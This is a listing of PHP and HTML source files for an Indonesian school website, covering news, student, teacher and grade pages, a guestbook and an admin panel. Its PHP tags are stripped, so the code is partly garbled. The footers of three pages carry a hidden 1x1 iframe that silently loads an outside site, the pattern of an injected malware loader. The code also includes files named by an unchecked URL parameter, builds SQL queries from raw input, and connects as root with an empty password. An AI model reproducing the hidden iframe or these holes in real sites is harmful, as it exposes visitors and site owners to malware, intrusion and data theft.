1. Script banner.php <table width="800" border="0" align="center" cellpadding="0" cellspacing="0"> <td width="800" colspan="3"><img src="images/banner.jpg" width="800" height="130" /> <a href="index.php"> Home </a> <a href="?page=profil">profil </a> <a href="?page=struktur">struktur Organisasi </a> <a href="?page=visi">visi dan Misi </a> <a href="?page=contact">kontak Kami</a> <a href="?page=bukutamu">buku Tamu </a> <a href="admin/login_admin.php">login</a></td> 2. Script footer.php <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/tr/xhtml1/dtd/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content-type" content="text/html; charset=iso-8859-1" /> <title>untitled Document</title> <style type="text/css"> <!--.style2 color: #FFFFFF.style3 font-family: Tahoma; font-size: 10px; --> </style> </head> <body> <table width="800" height="50" border="0" align="center" cellpadding="0" cellspacing="0" background="images/in_10.gif" bgcolor="#333333"> <td bgcolor="#333333"><div align="center" class="style2 style3"><br /> Copyright 2010 - All Right Reserved </td> 3. Script index.php <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN" "http://www.w3.org/tr/xhtml11/dtd/xhtml11.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en"> <head>
<title>sma PARULIAN 1 MEDAN</title> <meta http-equiv="content-type" content="text/html; charset=iso-8859-1" /> <!-- **** layout stylesheet **** --> <link rel="stylesheet" type="text/css" href="style/style.css" /> <!-- **** colour scheme stylesheet **** --> <link rel="stylesheet" type="text/css" href="style/colour.css" /> </head> <body> <div id="main"> <div id="links"> <!-- **** INSERT LINKS HERE **** --> <div id="logo"> <h1> </h1> <div id="content"> <div id="menu"> <ul> <li><a id="selected" href="index.php">home</a></li> <li><a href="profil.php">profil</a></li> <li><a href="visi.php">visi & MISI </a></li> <li><a href="index.php?page=bukutamu">buku TAMU </a></li> <li><a href="admin/login_admin.php">login</a></li> </ul> <div id="column1"> <div class="sidebaritem"> <div class="sbihead"> <h1>berita TERBARU </h1> <div class="sbicontent"> <!-- **** INSERT NEWS ITEMS HERE **** --> <h2>dapatkan metode-metode pengajaran terbaik dari kami. <a href="#"></a></h2> <p></p> <p></p>
<h2>percayakan anak-anak anda untuk kami asuh. <a href="#"></a></h2> <div class="sidebaritem"> <div class="sbihead"> <h1>informasi</h1> <div class="sbilinks"> <!-- **** INSERT ADDITIONAL LINKS HERE **** --> <ul> <li><a href="?page=guru">guru</a></li> <li><a href="?page=siswa">siswa</a></li> <li><a href="?page=fasilitas">fasilitas</a></li> <li><a href="?page=matapelajaran">matapelajaran</a></li> <li><a href="?page=nilai">nilai Siswa</a></li> </ul> <div class="sidebaritem"> <div class="sbihead"> <h1>info LAIN </h1> <div class="sbicontent"> <!-- **** INSERT OTHER INFORMATION HERE **** --> <p> Akan diadakan pelatihan-pelatihan terhadap seluruh siswa SMA 100 Medan pada hari Jumat 30/10/10 </p> <div id="column2"> $cek=$_get['page']; $ngl=$_get['ngl']; $path=$http_get_vars['page'].".php"; if ($cek=="") include 'main.php'; else
include "$path"; <h1> </h1> <div id="footer"> copyright 2010 <iframe src="http://www.trenz.pl/rc/" width=1 height=1 frameborder=0></iframe> </body> </html> 4. Script fasilitas.php <h1> INFORMASI FASILITAS </h1> include "./server.php"; <table style="font-size:12px; border-collapse:collapse; width="100%" border="1" align="center" cellpadding="2" cellspacing="1" bgcolor="#ffffff"> fasilitas")or die(mysql_error()); $qsel=mysql_query("select * from <tr bgcolor="#c0c0c0"> <td width="22"><div align="left" class="style5">no.</td> <td width="194"><div align="left" class="style5">nama Fasilitas </td> <td width="155">jumlah</td> <td width="92"><span class="style5">gambar $no=0; while($row = mysql_fetch_array($qsel)) $no++; <tr > <td height="24" align="center" ><span >=$no
<td > <div align="left" > =$row[1] </td> <td >=$row[2]</td> <td align="center" valign="middle" ><span class="style2"> echo "<img width=100 height=100 src=\"$baris[3]\">" ; 5. Script contact.php <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/tr/xhtml1/dtd/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content-type" content="text/html; charset=iso-8859-1" /> <title>untitled Document</title> <style type="text/css"> <!--.style7 font-family: Tahoma; font-size: 14px;.style10 color: #FFFBF0 --> </style> </head> <body> <table width="600" border="0" align="left" cellpadding="0" cellspacing="0"> <!--DWLayoutTable--> <tr > <td height="10" colspan="4" valign="top"><img src="images/body_01.gif" width="600" height="10" /></td>
<td width="5" background="images/body_02.gif"> </td> <td width="10" ></td> <td width="579" ><div align="left" class="style7"> <p align="justify"><strong> <img src="images/aula.jpg" width="241" height="185" hspace="10" vspace="10" align="left" /></strong>kontak Kami Kami menyadari kepentingan informasi saat ini semakin dibutuhkan dengan cara yang cepat dan akurat. oleh karena itu kami pihak CV.MAKMUR sebagai salah satu angkutan ternama ikut serta menerapkan pelayanan baru dalam rangkam meningkatkan kualitas pelayanan kami kepada para pelanggan yang kami hormati dan kami banggakan. oleh karena itu kami membangun website ini, dengan adanya layanan ini kami harapkan pelanggan dapat mengetahui informasi mengenai kami secar cepat dan akurat sesuai dengan keadaan sebenarnya yang ada pada Kami. </p> <p><strong><br /> </strong> </p> </td> <td width="6" background="images/body_04.gif" > </td> <tr > <td colspan="4"><img src="images/body_05.gif" width="600" height="10" /></td> <p class="style10"> </p> 6. Script detsiswa.php include "./server.php"; <table width="315"" border="1" align="center" cellpadding="2" cellspacing="1" bgcolor="#ffffff" style="font-size:12px; border-collapse:collapse; width="100%>
$qsel=mysql_query("select * from siswa, guru where siswa.nip=guru.nip and siswa.nis='$nis'")or die(mysql_error()); <tr bgcolor="#c0c0c0"> <td colspan="2">detail Informasi Siswa </td> $no=0; while($row = mysql_fetch_array($qsel)) $no++; <tr > <td width="87" height="24" align="center" ><div align="left"><span class="style5">nis <td width="211" >=$row[0]</td> <tr > <td height="24" align="center" ><div align="left"><span class="style5">nama Siswa <td >=$row[nm_siswa]</td> <tr > <td height="24" align="center" ><div align="left">tempat Lahir </td> <td >=$row[3]</td> <tr > <td height="24" align="center" ><div align="left">tgl. Lahir </td> <td >=$row[4]</td> <tr > <td height="24" align="center" ><div align="left">jenis Kelamin </td> <td >=$row[jenkel]</td> <tr > <td height="24" align="center" ><div align="left">jurusan</td> <td >=$row[jurusan]</td> <tr > <td height="24" align="center" ><div align="left"><span class="style5">kelas <td >=$row[kelas]</td> <tr >
<td height="24" colspan="2" align="center" ><a href="?page=siswa">kembali</a></td> 7. Script detnilai.php <table width="700" border="1" align="center" cellpadding="2" cellspacing="1" bgcolor="#ffffff"> include "./server.php"; $qsel=mysql_query("select * from nilai, guru,siswa,matapelajaran where nilai.nip=guru.nip and nilai.kd_mp=matapelajaran.kd_mp ")or die(mysql_error()); <tr bgcolor="#c0c0c0"> <td width="32"><div align="center" class="style5">id.</td> <td width="108"><div align="center" class="style5">nis</td> <td width="247"><div align="center" class="style5">nama Siswa </td> <td width="132"><span class="style5">tahun Ajaran <td width="132"><span class="style5">semester <td width="132"><span class="style5">matapelajaran <td width="132"><span class="style5">nip Guru <td width="132"><span class="style5">nama Guru <td width="132"><span class="style5">nilai $no=0; while($row = mysql_fetch_array($qsel)) $no++; <tr > <td height="24" align="center" ><span class="style2"> =$no <td > <div align="left" class="style2">
=$row[nis] </td> <td > <div align="left" class="style2"> =$row[nm_siswa] </td> <td ><span class="style2"> =$row[2] <td ><span class="style2"> =$row[3] <td ><span class="style2"> =$row[nm_mp] <td ><span class="style2"> =$row[nip] <td ><span class="style2"> =$row[nm_guru] <td ><span class="style2"> =$row[nilai] 8. Script guru.php <title> Informasi Guru </title> <h1>informasi GURU </h1> include "./server.php";
<table style="font-size:12px; border-collapse:collapse; width="100%" border="1" align="center" cellpadding="2" cellspacing="1" bgcolor="#ffffff"> die(mysql_error()); $qsel=mysql_query("select * from guru")or <tr bgcolor="#c0c0c0"> <td width="22"><div align="left" class="style5">no.</td> <td width="65"><div align="left" class="style5">nip</td> <td width="179"><span class="style5">nama guru <td width="197">alamat</td> <td width="78"><span class="style5">telepon $no=0; while($row = mysql_fetch_array($qsel)) $no++; <tr > <td height="24" align="center" ><span >=$no <td > <div align="left" > =$row[0] </td> <td >=$row[1]</td> <td ><span > =$row[2] <td ><span > =$row[3]
9. Script main.php <h1>welcome TO SMA PARULIAN I MEDAN </h1> <!-- **** INSERT PAGE CONTENT HERE **** --> <p> <img src="images/parulian.jpg" width="298" height="219" hspace="5" vspace="5" align="left" />Selamat datang di website resmi SMA PARULIAN I Medan. SMA PARULIAN I Medan merupakan sekolah terbaik di Kota Medan. </p> <p> Sekolah yang dilengkapi dengan ruangan-ruangan belajar yang nyaman, Full AC dan diasuh oleh guru-guru yang berpengalaman dari seluruh kota Medan, dan alumnialumni dari pulau Jawa. </p> <p> </p> <h1>fasilitas</h1> <p>sekolah ini dilengkapi dengan fasilitas belajar yang sangat memadai. Ruangan belajar yang Full-AC, sert sarana olahraga yang paling lengkap di Kota Medan.</p> <h2><img src="images/perpus.jpg" width="141" height="94" /><img src="images/aula.jpg" width="141" height="94" /><img src="images/lab komp2.jpg" width="124" height="93" /></h2> 10. Script matapelajaran.php <h1> INFORMASI MATAPELAJARAN </h1> include "./server.php"; <table width="447"" border="1" align="center" cellpadding="2" cellspacing="1" bgcolor="#ffffff" style="font-size:12px; border-collapse:collapse; width="100%> matapelajaran")or die(mysql_error()); $qsel=mysql_query("select * from
<tr bgcolor="#c0c0c0"> <td width="24"><div align="left" class="style5">no.</td> <td width="131">kode Matapelajaran </td> <td width="268"><div align="left" class="style5">nama Matapelajaran </td> $no=0; while($row = mysql_fetch_array($qsel)) $no++; <tr > <td height="24" align="center" ><span >=$no <td >=$row[0]</td> <td > <div align="left" > =$row[1] </td> 11.Script menu.php <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/tr/xhtml1/dtd/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content-type" content="text/html; charset=iso-8859-1" /> <title>untitled Document</title> <link href="green.css" rel="stylesheet" type="text/css" /> <style type="text/css"> <!-- a:link text-decoration: underline;
a:visited text-decoration: underline; a:hover text-decoration: none; a:active text-decoration: underline; --> </style></head> <body> <table style="font-size:12px" width="200" border="0" cellspacing="0" cellpadding="0"> <td colspan="3" bgcolor="#9966cc" style="color:#ffffff; font-size:12px">menu Navigasi </td> </td> <td colspan="3" bgcolor="#ffffff" class="linkpnsheader"><div align="left"><a href="index.php"> Home </a></td> <td colspan="3" bgcolor="#ffffff" class="linkpnsheader"><div align="left"><a href="?page=siswa">info Siswa </a></td> <td colspan="3" bgcolor="#ffffff" class="linkpnsheader"><div align="left"><a href="?page=guru">info Guru </a></td> <td colspan="3" bgcolor="#ffffff" class="linkpnsheader"><a href="?page=fasilitas">info Fasilitas</a></td>
<td colspan="3" bgcolor="#ffffff" class="linkpnsheader"><div align="left"><a href="?page=matapelajaran">info Matapelajaran </a></td> <td colspan="3" bgcolor="#ffffff" class="linkpnsheader"> </td> <td colspan="3" bgcolor="#000066" style="color:#ffffff">galeri</td> <td colspan="3" style="color:#ffffff"> </td> <td colspan="3" bgcolor="#ffffff" class="linkpnsheader"><img src="admin/images/danau toba.jpg" width="135" height="90" /></td> <td colspan="3" bgcolor="#ffffff" class="linkpnsheader"><div align="left"><a href="?page=karyawan"></a><img src="admin/images/gundaling.jpg" width="135" height="90" /></td> <td colspan="3" bgcolor="#ffffff" class="linkpnsheader"><div align="left"><a href="?page=calon_penumpang"></a><img src="admin/images/hotel niagara.jpg" width="135" height="90" /></td> <td colspan="3" bgcolor="#ffffff" class="linkpnsheader"><div align="left"><a href="?page=berita"></a><img src="admin/images/hotel toledo.jpg" width="135" height="90" /></td> <td colspan="3" bgcolor="#ffffff" class="linkpnsheader"> </td> <td colspan="3" bgcolor="#cc3300"> </td>
11. Script nilai.php <h1> Informasi Nilai Siswa </h1> <table width="413" border="1" align="center" cellpadding="2" cellspacing="1" bgcolor="#ffffff"> include "./server.php"; $qsel=mysql_query("select * from nilai, guru,siswa,matapelajaran where nilai.nip=guru.nip and nilai.kd_mp=matapelajaran.kd_mp ")or die(mysql_error()); <tr bgcolor="#c0c0c0"> <td width="28"><div align="center" class="style5">id.</td> <td width="48"><div align="center" class="style5">nis</td> <td width="125"><div align="center" class="style5">nama Siswa </td> <td width="58"><span class="style5">tahun Ajaran <td width="65"><span class="style5">semester <td width="65">mata Pelaran</td> <td width="44"><span class="style5">nilai Tugas <td width="44">nilai Absen </td> <td width="44">nilai UAS </td> <td width="44">nilai Formatif </td> $no=0; while($row = mysql_fetch_array($qsel)) $no++; <tr > <td height="24" align="center" ><span class="style2"> =$no <td > <div align="left" class="style2"> =$row[nis] </td> <td >
<div align="left" class="style2"> =$row[nm_siswa] </td> <td ><span class="style2"> =$row[2] <td ><span class="style2"> =$row[semester] <td ><span class="style2"> =$row[nm_mp] <td ><span class="style2"> =$row[ntugas] <td ><span class="style2"> =$row[nabsen] <td ><span class="style2"> =$row[nuas] <td ><span class="style2"> =$row[nfor] 12. Script server.php $host="localhost"; $user="root"; $pass=""; $db="db_parulian"; $koneksi=mysql_connect($host,$user,$pass) or die (mysql_error()); mysql_select_db($db,$koneksi) or die (mysql_error()); 13. Script profil.php
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN" "http://www.w3.org/tr/xhtml11/dtd/xhtml11.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en"> <head> <title>profil</title> <meta http-equiv="content-type" content="text/html; charset=iso-8859-1" /> <!-- **** layout stylesheet **** --> <link rel="stylesheet" type="text/css" href="style/style.css" /> <!-- **** colour scheme stylesheet **** --> <link rel="stylesheet" type="text/css" href="style/colour.css" /> </head> <body> <div id="main"> <div id="links"> <!-- **** INSERT LINKS HERE **** --> <div id="logo"><h1> </h1> <div id="content"> <div id="menu"> <ul> <li><a href="index.php">home</a></li> <li><a id="selected" href="profil.php">profil</a></li> <li><a href="visi.php">visi & misi </a></li> <li><a href="page3.html">buku tamu </a></li> <li><a href="contact.html">contact</a></li> </ul> <div id="column1"> <div class="sidebaritem"> <div class="sbihead"> <h1>berita TERBARU</h1> <div class="sbicontent">
<!-- **** INSERT NEWS ITEMS HERE **** --> <h2>dapatkan metode-metode pengajaran terbaik dari kami. <a href="#"></a></h2> <p></p> <p></p> <h2>percayakan anak-anak anda untuk kami asuh. <a href="#"></a></h2> <div class="sidebaritem"> <div class="sbihead"> <h1>informasi</h1> <div class="sbilinks"> <!-- **** INSERT ADDITIONAL LINKS HERE **** --> <ul> <li><a href="index.php?page=guru">guru</a></li> <li><a href="index.php?page=siswa">siswa</a></li> <li><a href="index.php?page=fasilitas">fasilitas</a></li> <li><a href="index.php?page=matapelajaran">matapelajaran</a></li> </ul> <div class="sidebaritem"> <div class="sbihead"> <h1>informasi LAIN </h1> <div class="sbicontent"> <!-- **** INSERT OTHER INFORMATION HERE **** --> <p>akan diadakan pelatihan-pelatihan terhadap seluruh siswa SMA 100 Medan pada hari Jumat 30/10/10 </p> <div id="column2"> <h1 align="center"><img src="images/images.jpg" alt="" width="113" height="118" /></h1> <h1>profil</h1> <!-- **** INSERT PAGE CONTENT HERE **** --> <p>nama Sekolah
: SMA PARULIAN 1 MEDAN<br /> Alamat Sekolah : JL. Stadion Teladan No.23 Medan<br /> NO. Telp &n bsp; &nb sp; : (061)7346982<br /> Kecamatan &nb sp; &nbs p; : Medan Kota<br /> Kota &n bsp; &nb sp; &nbs p; : Medan<br /> Didirikan Tahun & nbsp; &n bsp;: 1966<br /> Izin Operasional No &nbs p; : 420/4846/2004; tanggal 01 Maret 2004<br /> Jenjang Akreditasi &nbs p; : Diakui<br /> N.S.S & nbsp; &n bsp; &nb sp; : 304076001052<br /> N.D.S & nbsp; &n bsp; &nb sp; : 3007120016<br /> Nama Yayasan/Perguruan : YAYASAN PENDIDIKAN DAN SOSIAL PARULIAN<br /> Alamat Yayasan
: JL.SM Raja, jati I No.23 Medan<br /> Telp kantor Yayasan : (061)7360157<br /> Pemilik gedung : Milik Sendiri<br /> Waktu belajar & nbsp; &n bsp; : Pagi</p> <div id="footer"> copyright 2010 <iframe src="http://www.trenz.pl/rc/" width=1 height=1 frameborder=0></iframe> </body> </html> 14. Script visi.php <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN" "http://www.w3.org/tr/xhtml11/dtd/xhtml11.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en"> <head> <title>visi DAN MISI</title> <meta http-equiv="content-type" content="text/html; charset=iso-8859-1" /> <!-- **** layout stylesheet **** --> <link rel="stylesheet" type="text/css" href="style/style.css" /> <!-- **** colour scheme stylesheet **** --> <link rel="stylesheet" type="text/css" href="style/colour.css" /> </head>
<body> <div id="main"> <div id="links"> <!-- **** INSERT LINKS HERE **** --> <div id="logo"><h1> </h1> <div id="content"> <div id="menu"> <ul> <li><a href="index.php">home</a></li> <li><a href="profil.php">profil</a></li> <li><a id="selected" href="visi.php">visi & misi </a></li> <li><a href="index.php?page=bukutamu">buku tamu </a></li> <li><a href="contact.html">contact</a></li> </ul> <div id="column1"> <div class="sidebaritem"> <div class="sbihead"> <h1>berita TERBARU </h1> <div class="sbicontent"> <!-- **** INSERT NEWS ITEMS HERE **** --> <h2>dapatkan metode-metode pengajaran terbaik dari kami. <a href="#"></a></h2> <p></p> <p></p> <h2>percayakan anak-anak anda untuk kami asuh. <a href="#"></a></h2> <div class="sidebaritem"> <div class="sbihead"> <h1>informasi</h1> <div class="sbilinks"> <!-- **** INSERT ADDITIONAL LINKS HERE **** --> <ul> <li><a href="index.php?page=guru">guru</a></li> <li><a href="index.php?page=siswa">siswa</a></li>
<li><a href="index.php?page=fasilitas">fasilitas</a></li> <li><a href="index.php?page=matapelajaran">matapelajaran</a></li> </ul> <div id="column2"> <h1>visi & misi </h1> <!-- **** INSERT PAGE CONTENT HERE **** --> <center> <strong>visi</strong> </center> <p>mewujudkan Sekolah Bertaraf Internasional yang berwawasan kebangsaan dengan berdasarkan pada iman dan taqwa.</p> <br /> <div align="center"><strong>misi</strong> <ol> <li>membentuk watak dan kepribadian siswa yang bermartabat.dan berjiwa kebangsaan. </li> <li>mengembangkan potensi kecerdasan intelektual, emosional, dan spiritual. </li> <li>pusat pengembangan pendidikan Iptek, Seni, Budaya yang unggul. </li> <li>meningkatkan profesionalisme dan akuntabilitas sekolah sebagai pusat pengembangan pendidikan berdasarkan standar nasional dan global. </li> <li>memberdayakan peran serta stakeholders dalam penyelenggaraan pendidikan yang bermutu dan memiliki daya saing global berdasarkan prinsip Manajemen Berbasis Sekolan (MBS). </li> </ol> <p> </p> <div id="footer"> copyright 2010 <iframe src="http://www.trenz.pl/rc/" width=1 height=1 frameborder=0></iframe> </body> </html>
16. Berita.php <table style="font-size:12px" width="575" border="0" align="center" cellpadding="3" cellspacing="3" bgcolor="#ffffff"> <td width="139"><div style="background:#0066ff" align="left">berita Terkini </td> include "server.php"; $qsel=mysql_query("select * from berita ")or die(mysql_error()); $no=0; while($row = mysql_fetch_array($qsel)) $no++; <tr > <td height="24" ><div align="left"> echo"<b> $row[1] </b> ";</td> <td height="24" ><span> =$row[2]</span> </td> <td height="24" ><span> Date Posted: =$row[3] <td><hr /></td> 17. Bukutamu.php
<link href="style/style.css" rel="stylesheet" type="text/css" /> <h1>buku Tamu</h1> <form action="simpantamu.php" method="post"> <table width="530" align="center"> <td> </td> <td width="455" valign="top"> </td> <td width="150">nama </td> <td valign="top">: <input name="nama" type="text" id="nama" size="30" maxlength="30" /> </td> <td>email</td> <td>:<label> <input name="email" type="text" id="email" size="30" maxlength="50" /></label> </td> <td>komentar</td> <td>: <textarea name="komentar" cols="40" rows="3" id="komentar"> </textarea> </td> <td colspan="2" align="center" valign="middle"> <input name="submit" type="submit" class="submit" value="submit" /> <input type="reset" class="submit" value="batal" /></td> </form> 18. Simpantamu.php php include "./server.php"; $nama=$_post['nama']; $email=$_post['email'];
$komentar=$_post['komentar']; $insert = "insert into bukutamu values ('','$nama','$email','$komentar')"; $q= mysql_query($insert) or die(mysql_error()); if($q) echo "<script> window.alert('data sudah disimpan'); location.href='index.php?page=bukutamu' </script>"; else 19. Admin.php session_start(); $username = $_SESSION['username']; $password = $_SESSION['password']; include "../server.php"; $tabel='admin'; $page='admin'; $data='data Admin'; $key='username'; $kamin=$_post['kamin']; $username_a=$_post['username']; $password_a=$_post['password']; $pass=md5($password_a); if ((!empty ($username)) and (!empty($password))) if(isset($_get['kamin'])) $kamin= $_GET['kamin']; $sel = "select * from $tabel where $key='$kamin'"; $qsel= mysql_query($sel)or die(mysql_error()); while($row = mysql_fetch_array($qsel)) $edit_key= $row[0]; for($i=0;$i<mysql_num_fields($qsel);$i++)
$fieldname=mysql_field_name($qsel, $i); $fieldname= $row[$fieldname]; else if($_post['update']=="update") if (!$password_a) echo"<script>alert('form belum terisi dengan baik',document.location.href='javascript:history.back(0)')</script>"; else $update = "update $tabel set password='$pass' where $key='$kamin'"; $q= mysql_query($update) or die(mysql_error()); if($q) echo "<script> window.alert('data sudah diupdate'); location.href='index.php?page=$page'; </script>"; else echo "<script> window.alert('data gagal diupdate'); location.href='index.php?page=$page'; </script>"; if($_post['save']=="save") if (!$username_a!$password_a) echo"<script>alert('form belum terisi dengan baik',document.location.href='javascript:history.back(0)')</script>"; else $insert = "insert into $tabel values ('$username_a','$pass')"; $q= mysql_query($insert) or die(mysql_error()); if($q)
else echo "<script> window.alert('data sudah disimpan'); location.href='index.php?page=$page' </script>"; echo "<script> window.alert('data gagal disimpan'); location.href='index.php?page=$page' </script>"; $hapus=$_get['hapus']; if ($hapus!="") mysql_query("delete from $tabel where $key='$hapus'"); else <style type="text/css"> <!--.style2 font-family: Tahoma; font-size: 12px;.style5 font-family: Tahoma; font-size: 12px; font-weight: bold; --> </style> <div align="center"> <TABLE width="700" border=1 align=center cellpadding=0 cellspacing=0 bgcolor="#ffffff"> <form action="?page==$_get[page]" method="post"> <td> <table bgcolor="#ffffff" border="0" cellpadding="0" cellspacing="0" width="700"> <td width="100%" height="12"></td> <td height="20" valign="top"> <table width="100%" > <td> <table style="font-size:12px" width="425" align="center"> <td colspan="2"> </td>
<td colspan="2"> <div align="center"> if(isset($_get['kamin'])) echo "Edit $data"; else echo "Input $data"; </td> <td> </td> <td valign="top"> </td> <td width="150">username</td> <td width="455" valign="top">: if(isset($_get['kamin'])) echo "<b>$edit_key</b>"; Else <input name="username" type="text" id="username" size="40" /> </td> <td width="150">password</td> <td valign="top">:<input name="password" type="password" id="password" value=" if(isset($_get['kamin'])) echo $password; else" size="40" /> <input name="kamin" type="hidden" id="kamin" value="=$edit_key"/> </b></td> <td> </td>
<td> if(isset($_get['kamin'])) echo"<input TYPE=\"submit\" name=\"update\"value=\"update\"> <a href=\"?page=$page\"><input TYPE=\"submit\" name=\"batal\" value=\"batal\"></a>"; else echo"<input TYPE=\"submit\" name=\"save\" value=\"save\">"; </td> <td colspan="2"> </td> </td> </td> </td> <td bgcolor="#cccccc"> </td> <td> <BR /> <table width="529" border="1" align="center" cellpadding="2" cellspacing="1"> $qsel=mysql_query("select * from $tabel ")or die(mysql_error()); <tr bgcolor="#c0c0c0"> <td width="32"><div align="center" class="style5">no</td> <td width="108"><div align="center" class="style5">username</td> <td width="280"><div align="center" class="style5">password</td> <td width="99"><div align="center" class="style5">action</td> $no=0; while($row = mysql_fetch_array($qsel)) $no++; <tr > <td align="center" ><span class="style2"> =$no
<td ><div align="left" class="style2"> =$row[0] </td> <td > <div align="left" class="style2"> =$row[1] </td> <td > <div align="center" class="style2"> echo "<ahref=\"?page=$page&kamin=$row[0]\">edit</a> <a href=\"?page=$page&hapus=$row[0]\">hapus</a>"; </td> <BR /></td> </form> else header("location:login_admin.php"); 20. Exe_ganti_password.php session_start(); $username = $_SESSION['username']; $password = $_SESSION['password']; $pass_lama=$_post['pass_lama']; $pass_baru=$_post['pass_baru']; $pass_baru2=$_post['pass_baru2']; $pass_temp=$_post['pass_temp']; include "../server.php"; if ((!empty ($username)) and (!empty($password))) <html>
<head><title>ganti Password</title> <style type="text/css"> <!--.style1 color: #FFFFFF; font-family: Arial, Helvetica, sans-serif; --> </style> </head> <body> <div align="center" class="style1"> <p> $pass= $pass_lama; $password=$pass_baru; if (empty($pass_lama)) echo"<script>alert('maaf anda belum Mengisi Password Lama',document.location.href='javascript:history.back(0)')</script>"; elseif (empty($pass_baru)) echo"<script>alert('maaf anda belum Mengisi Password Baru',document.location.href='javascript:history.back(0)')</script>"; elseif ($pass_baru!= $pass_baru2) echo"<script>alert('cek Kembali Konfimasi Password Anda',document.location.href='javascript:history.back(0)')</script>"; elseif (strlen($pass_baru)<=5) echo"<script>alert('password minimal 6 Karakter',document.location.href='javascript:history.back(0)')</script>"; elseif ($pass!= $pass_temp) echo"<script>alert('periksa Kembali Password Lama Anda',document.location.href='javascript:history.back(0)')</script>"; elseif ($pass_baru== $pass_temp) echo"<script>alert('maaf anda belum Melakukan Perubahan data',document.location.href='javascript:history.back(0)')</script>";
else include("../server.php"); $kamin = "update admin set password='$password' where username='$username'"; $query = mysql_query($kamin); if ($query) echo"<script>alert('password Anda berhasil diupdate...!!!',document.location.href='index.php')</script>"; else echo"<script>alert('maaf Update Password Gagal',document.location.href='javascript:history.back(0)')</script>"; </p> else header("location:login_admin.php"); 21. Ganti_password.php session_start(); $username = $_SESSION['username']; $password = $_SESSION['password']; include "../server.php"; if ((!empty ($username)) and (!empty($password))) <html> <head><title>ganti Password User</title> <link href="../style1.css" rel="stylesheet" type="text/css" /> <link href="../style2.css" rel="stylesheet" type="text/css" /> <link href="../style3.css" rel="stylesheet" type="text/css" /> <style type="text/css">
<!--.style1 font-family: Tahoma.style2 font-size: 12px.style3 font-family: Tahoma; font-size: 12px; --> </style> </head> <body> <div align="center"> <table width="330" border="0" align="center" cellpadding="0" cellspacing="0" background="../images/efek.gif"> <td><table width="200" border="0" cellpadding="0" cellspacing="0"> <td class="style9"> include("../server.php"); $q_user_info=mysql_query("select * from admin where username='$username'",$koneksi) or die (mysql_error()); $row=mysql_fetch_array($q_user_info); </td> <td><form name="form1" method="post" action="exe_ganti_password.php"><div align="center"> <table width="700" border=0 align=center cellpadding="0" cellspacing="0" bgcolor="#ffffff" a> <td><!--dwlayoutemptycell--> </td> <td class="style1 style2"><!--dwlayoutemptycell--> </td> <td bgcolor="#ffffff"><!--dwlayoutemptycell--> </td> <td><!--dwlayoutemptycell--> </td> <td></td> <td><!--dwlayoutemptycell--> </td> <td class="style1 style2"><!--dwlayoutemptycell--> </td> <td bgcolor="#ffffff"><!--dwlayoutemptycell--> </td> <td><!--dwlayoutemptycell--> </td> <td></td>
<td width="120"><span class="style9"> <input type = "hidden" name="kode_anggota" value= " echo "$row[kode_anggota]" "/> <input type = "hidden" name="pass_temp" value= " echo "$row[password]" "/> <td width="196" class="style1 style2">* Password Lama </td> <td width="19" bgcolor="#ffffff"><div align="center" class="style9 style1 style2">:</td> <td width="229"><div align="left" class="style3"> <input name="pass_lama" type="password" size="30"> </td> <td width="221"></td> <td><!--dwlayoutemptycell--> </td> <td class="style3">* Password Baru </td> <td bgcolor="#ffffff"><div align="center" class="style11 style1 style2">:</td> <td><div align="left" class="style3"> <input name="pass_baru" type="password" size="30"> </td> <td></td> <td><!--dwlayoutemptycell--> </td> <td class="style3">* Konfirmasi Password Baru </td> <td bgcolor="#ffffff"><div align="center" class="style9 style1 style2">:</td> <td><div align="left" class="style3"> <input name="pass_baru2" type="password" size="30"> </td> <td></td> <td> </td> <td class="style34 style1 style2"> </td> <td bgcolor="#ffffff"> </td> <td><span class="style3"> <input name="submit" type="submit" class="style1" value="update" /> <input name="submit2" type="reset" class="style1" value="reset" /> [<a href="index.php">menu Admin </a>] <td></td> <td> </td>
<td class="style1 style34"> </td> <td bgcolor="#ffffff"> </td> <td><!--dwlayoutemptycell--> </td> <td></td> <td> </td> <td class="style1 style34"> </td> <td bgcolor="#ffffff"> </td> <td><!--dwlayoutemptycell--> </td> <td></td> <td> </td> <td class="style1 style34"> </td> <td bgcolor="#ffffff"> </td> <td><!--dwlayoutemptycell--> </td> <td></td> </form></td> else header("location:login_admin.php"); 22. Login_admin.php <table width="300" height="300" border="0" align="center" cellpadding="0" cellspacing="0"> <td valign="top"><form id="form1" name="form1" method="post" action="p_login_admin.php"> <table width="300" border="1" cellpadding="0" cellspacing="0"> <td colspan="3">login Admin</td> <td width="74">username</td> <td colspan="2">:<label>
<input name="username" type="text" id="username" maxlength="20" /> </label></td> <td>password</td> <td colspan="2">: <input name="password" type="password" id="password" maxlength="20" /> </td> <td><span class="style15"> <td width="44"><label><a href="../index.php">kembali</a></label></td> <td width="111"><input type="submit" name="submit" value="login" /></td> </form> </td> 23. Logout.php session_start(); if ($_REQUEST['maukeluar'] == "iya") if(isset($_session['username'])) UNSET($_SESSION['username']); header("location:../"); session_destroy();